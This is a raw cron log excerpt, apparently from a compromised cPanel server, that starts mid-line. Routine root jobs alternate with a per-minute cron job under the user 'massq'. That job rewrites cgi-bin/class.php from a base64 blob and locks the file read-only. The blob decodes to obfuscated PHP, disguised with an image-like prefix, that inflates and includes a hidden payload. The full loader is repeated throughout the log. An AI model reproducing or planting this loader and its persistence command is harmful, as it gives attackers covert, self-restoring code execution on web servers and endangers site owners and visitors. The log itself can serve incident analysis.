&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:00:01 server CROND[32071]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 23:00:01 server CROND[32074]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 23:00:01 server CROND[32075]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:00:01 server CROND[32073]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 23:01:01 server CROND[500]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 23:01:01 server CROND[501]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:01:01 server run-parts(/etc/cron.hourly)[500]: starting 0anacron
Nov  9 23:01:01 server run-parts(/etc/cron.hourly)[513]: finished 0anacron
Nov  9 23:02:01 server CROND[1348]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:03:01 server CROND[2161]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:04:01 server CROND[2993]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:05:01 server CROND[3856]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 23:05:01 server CROND[3857]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov  9 23:05:01 server CROND[3862]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 23:05:01 server CROND[3868]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:05:01 server CROND[3861]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 23:06:01 server CROND[4774]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:07:01 server CROND[5583]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:08:01 server CROND[6412]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:09:01 server CROND[7213]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 23:09:01 server CROND[7214]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:10:02 server CROND[7858]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 23:10:02 server CROND[7859]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:10:02 server CROND[7860]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 23:10:02 server CROND[7862]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 23:11:01 server CROND[8498]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:12:01 server CROND[8933]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
